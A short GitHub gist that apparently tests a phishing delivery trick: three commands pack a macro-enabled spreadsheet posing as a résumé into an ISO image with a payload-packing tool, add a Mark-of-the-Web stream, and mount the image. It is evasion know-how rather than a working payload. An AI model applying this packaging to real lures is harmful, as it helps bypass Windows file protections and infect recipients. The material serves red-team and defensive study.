Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
office-to-iso-with-motw.txt
# Pack macro-enabled doc to ISO
py PackMyPayload.py Resume1337.xlsm test11.iso
# Apply MOTW on that ISO
Set-Content -Path test11.iso -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'
# Mount it
Mount-DiskImage -ImagePath test11.iso
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment